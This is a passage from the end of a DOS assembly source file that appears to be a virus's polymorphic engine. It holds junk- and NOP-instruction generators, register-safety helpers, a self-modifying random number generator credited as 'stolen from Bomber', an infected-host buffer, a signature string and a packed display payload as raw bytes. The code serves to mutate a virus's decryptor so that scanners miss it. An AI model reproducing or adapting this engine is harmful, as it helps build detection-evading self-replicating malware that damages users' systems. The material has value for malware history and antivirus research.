dw offset junkA
|
||
dw offset junkB
|
||
dw offset junkC
|
||
dw offset junkD
|
||
dw offset junkE
|
||
dw offset junkF
|
||
|
||
|
||
;****************************************************************************
|
||
;* NOP and junk routines
|
||
;****************************************************************************
|
||
|
||
nop16x0: and ax,000F ;J* 0000 (conditional)
|
||
or al,70
|
||
stosw
|
||
ret
|
||
|
||
|
||
nop16x1: mov al,0EBh ;JMP xxxx / junk
|
||
and ah,07
|
||
inc ah
|
||
stosw
|
||
xchg al,ah ;get lenght of bullshit
|
||
cbw
|
||
jmp fill_bullshit
|
||
|
||
|
||
nop16x2: call junkD ;XCHG AX,reg / XCHG AX,reg
|
||
stosb
|
||
ret
|
||
|
||
|
||
nop16x3: call junkF ;INC / DEC or DEC / INC
|
||
xor al,8
|
||
stosb
|
||
ret
|
||
|
||
|
||
nop8: push bx ;8-bit NOP
|
||
and al,7
|
||
mov bx,offset nop_data8
|
||
xlat
|
||
stosb
|
||
pop bx
|
||
ret
|
||
|
||
|
||
nop16: push bx ;16-bit NOP
|
||
and ax,0303
|
||
mov bx,offset nop_data16
|
||
xlat
|
||
add al,ah
|
||
stosb
|
||
call rnd_get
|
||
and al,7
|
||
mov bl,9
|
||
mul bl
|
||
add al,0C0
|
||
stosb
|
||
pop bx
|
||
ret
|
||
|
||
|
||
junk6: push cx ;CALL xxxx / junk / POP reg
|
||
mov al,0E8
|
||
and ah,0F
|
||
inc ah
|
||
stosw
|
||
xor al,al
|
||
stosb
|
||
xchg al,ah
|
||
call fill_bullshit
|
||
call do_nop
|
||
call rnd_get ;insert POP reg
|
||
and al,7
|
||
call no_sp
|
||
mov cx,ax
|
||
or al,58
|
||
stosb
|
||
|
||
test ch,3 ;more?
|
||
jnz junk6_ret
|
||
|
||
call do_nop
|
||
mov ax,0F087 ;insert XCHG SI,reg
|
||
or ah,cl
|
||
test ch,8
|
||
jz j6_1
|
||
mov al,8Bh
|
||
j6_1: stosw
|
||
|
||
call do_nop
|
||
push bx
|
||
call rnd_get
|
||
xchg ax,bx
|
||
and bx,0F7FBh ;insert XOR [SI],xxxx
|
||
or bl,8
|
||
call do_xor
|
||
pop bx
|
||
junk6_ret: pop cx
|
||
ret
|
||
|
||
|
||
junk7: and al,0F ;MOV reg,xxxx
|
||
or al,0B0
|
||
call no_sp
|
||
stosb
|
||
test al,8
|
||
pushf
|
||
call rnd_get
|
||
popf
|
||
jmp short byte_word
|
||
|
||
|
||
junk8: and ah,39 ;DO r/m,r(8/16)
|
||
or al,0C0
|
||
call no_sp
|
||
xchg al,ah
|
||
stosw
|
||
ret
|
||
|
||
|
||
junk9: and al,3Bh ;DO r(8/16),r/m
|
||
or al,2
|
||
and ah,3F
|
||
call no_sp2
|
||
call no_bp
|
||
stosw
|
||
ret
|
||
|
||
|
||
junkA: and ah,1 ;DO rm,xxxx
|
||
or ax,80C0
|
||
call no_sp
|
||
xchg al,ah
|
||
stosw
|
||
test al,1
|
||
pushf
|
||
call rnd_get
|
||
popf
|
||
jmp short byte_word
|
||
|
||
|
||
junkB: call nop8 ;NOP / LOOP
|
||
mov ax,0FDE2
|
||
stosw
|
||
ret
|
||
|
||
|
||
junkC: and al,09 ;CMPS* or SCAS*
|
||
test ah,1
|
||
jz mov_test
|
||
or al,0A6
|
||
stosb
|
||
ret
|
||
mov_test: or al,0A0 ;MOV AX,[xxxx] or TEST AX,xxxx
|
||
stosb
|
||
cmp al,0A8
|
||
pushf
|
||
call rnd_get
|
||
popf
|
||
jmp short byte_word
|
||
|
||
|
||
junkD: and al,07 ;XCHG AX,reg
|
||
or al,90
|
||
call no_sp
|
||
stosb
|
||
ret
|
||
|
||
|
||
junkE: and ah,07 ;PUSH reg / POP reg
|
||
or ah,50
|
||
mov al,ah
|
||
or ah,08
|
||
stosw
|
||
ret
|
||
|
||
|
||
junkF: and al,0F ;INC / DEC
|
||
or al,40
|
||
call no_sp
|
||
stosb
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* store a byte or a word
|
||
;****************************************************************************
|
||
|
||
byte_word: jz only_byte
|
||
stosw
|
||
ret
|
||
|
||
only_byte: stosb
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* don't fuck with SP!
|
||
;****************************************************************************
|
||
|
||
no_sp: push ax
|
||
and al,7
|
||
cmp al,4
|
||
pop ax
|
||
jnz no_sp_ret
|
||
and al,0FBh
|
||
no_sp_ret: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* don't fuck with SP!
|
||
;****************************************************************************
|
||
|
||
no_sp2: push ax
|
||
and ah,38
|
||
cmp ah,20
|
||
pop ax
|
||
jnz no_sp2_ret
|
||
xor ah,20
|
||
no_sp2_ret: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* don't use [BP+..]
|
||
;****************************************************************************
|
||
|
||
no_bp: test ah,4
|
||
jnz no_bp2
|
||
and ah,0FDh
|
||
ret
|
||
|
||
no_bp2: push ax
|
||
and ah,7
|
||
cmp ah,6
|
||
pop ax
|
||
jnz no_bp_ret
|
||
or ah,1
|
||
no_bp_ret: ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* write byte for JMP/CALL and fill with random bullshit
|
||
;****************************************************************************
|
||
|
||
fill_bullshit: push cx
|
||
xchg ax,cx
|
||
bull_lup: call rnd_get
|
||
stosb
|
||
loop bull_lup
|
||
pop cx
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* random number generator (stolen from 'Bomber')
|
||
;****************************************************************************
|
||
|
||
rnd_init: push cx
|
||
call rnd_init0 ;init
|
||
and ax,000F
|
||
inc ax
|
||
xchg ax,cx
|
||
random_lup: call rnd_get ;call random routine a few
|
||
loop random_lup ; times to 'warm up'
|
||
pop cx
|
||
ret
|
||
|
||
rnd_init0: push dx ;initialize generator
|
||
push cx
|
||
mov ah,2C
|
||
int 21
|
||
in al,40
|
||
mov ah,al
|
||
in al,40
|
||
xor ax,cx
|
||
xor dx,ax
|
||
jmp short move_rnd
|
||
|
||
rnd_get: push dx ;calculate a random number
|
||
push cx
|
||
push bx
|
||
mov ax,0 ;will be: mov ax,xxxx
|
||
mov dx,0 ; and mov dx,xxxx
|
||
mov cx,7
|
||
rnd_lup: shl ax,1
|
||
rcl dx,1
|
||
mov bl,al
|
||
xor bl,dh
|
||
jns rnd_l2
|
||
inc al
|
||
rnd_l2: loop rnd_lup
|
||
pop bx
|
||
|
||
move_rnd: mov word ptr ds:[rnd_get+4],ax
|
||
mov word ptr ds:[rnd_get+7],dx
|
||
mov al,dl
|
||
pop cx
|
||
pop dx
|
||
ret
|
||
|
||
|
||
;****************************************************************************
|
||
;* tables for engine
|
||
;****************************************************************************
|
||
|
||
; AX AL AH (BX) BL BH CX CL CH
|
||
mov_byte db 0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5
|
||
|
||
; nop clc stc cmc cli cld incbp decbp
|
||
nop_data8 db 90, 0F8, 0F9, 0F5, 0FA, 0FC, 45, 4Dh
|
||
|
||
; or and xchg mov
|
||
nop_data16 db 8, 20, 84, 88
|
||
|
||
; bl/bh, bx, si di
|
||
dir_change db 07, 07, 04, 05
|
||
ind_change db 03, 03, 06, 07
|
||
|
||
|
||
; xor xor add sub
|
||
how_mode db 30, 30, 00, 28
|
||
|
||
; ? add xor or
|
||
add_mode db 0, 0C8, 0F0, 0C0
|
||
|
||
|
||
;****************************************************************************
|
||
;* text + buffer
|
||
;****************************************************************************
|
||
|
||
db ' Amsterdam = COFFEESHOP! '
|
||
|
||
buffer db 0CDh, 20 ;original code of dummy program
|
||
db (BUFLEN-2) dup (?)
|
||
|
||
|
||
;****************************************************************************
|
||
;* the (packed) picture routine
|
||
;****************************************************************************
|
||
|
||
beeld db 0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h
|
||
db 090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh
|
||
db 001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
|
||
db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
|
||
db 0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h
|
||
db 00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h
|
||
db 0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch
|
||
db 004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h
|
||
db 022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh
|
||
db 0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh
|
||
db 081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h
|
||
db 003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch
|
||
db 0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h
|
||
db 002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh
|
||
db 0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh
|
||
db 0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh
|
||
db 0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh
|
||
db 0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h
|
||
db 084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h
|
||
db 083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h
|
||
db 001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h
|
||
db 0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh
|
||
db 0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h
|
||
db 0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h
|
||
db 0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h
|
||
db 01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h
|
||
db 061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h
|
||
db 0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h
|
||
db 009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h
|
||
db 05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh
|
||
db 0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch
|
||
db 020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh
|
||
db 0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h
|
||
db 0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh
|
||
db 060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh
|
||
db 022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh
|
||
db 0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h
|
||
db 041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h
|
||
db 009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh
|
||
db 01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h
|
||
db 09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh
|
||
db 084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh
|
||
db 053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h
|
||
db 01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h
|
||
db 0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h
|
||
db 07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h
|
||
db 076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h
|
||
db 055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h
|
||
db 084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh
|
||
db 0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h
|
||
db 050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh
|
||
db 070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh
|
||
db 020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h
|
||
db 019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh
|
||
db 0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h
|
||
db 083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh
|
||
db 0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h
|
||
db 072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h
|
||
db 041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh
|
||
db 002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h
|
||
db 072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h
|
||
db 0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h
|
||
db 070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh
|
||
db 040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h
|
||
db 0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh
|
||
db 061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h
|
||
db 048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h
|
||
db 066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h
|
||
db 05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h
|
||
db 093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh
|
||
db 0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh
|
||
db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
|
||
db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
|
||
db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
|
||
db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
|
||
db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
|
||
db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
|
||
db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
|
||
db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
|
||
db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
|
||
db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
|
||
db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
|
||
db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
|
||
db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
|
||
db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
|
||
db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
|
||
db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
|
||
db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
|
||
db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
|
||
db 03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh
|
||
db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
|
||
db 0E9h, 07Dh, 0EBh
|
||
|
||
last:
|
||
|
||
_TEXT ends
|
||
end first
|
||
|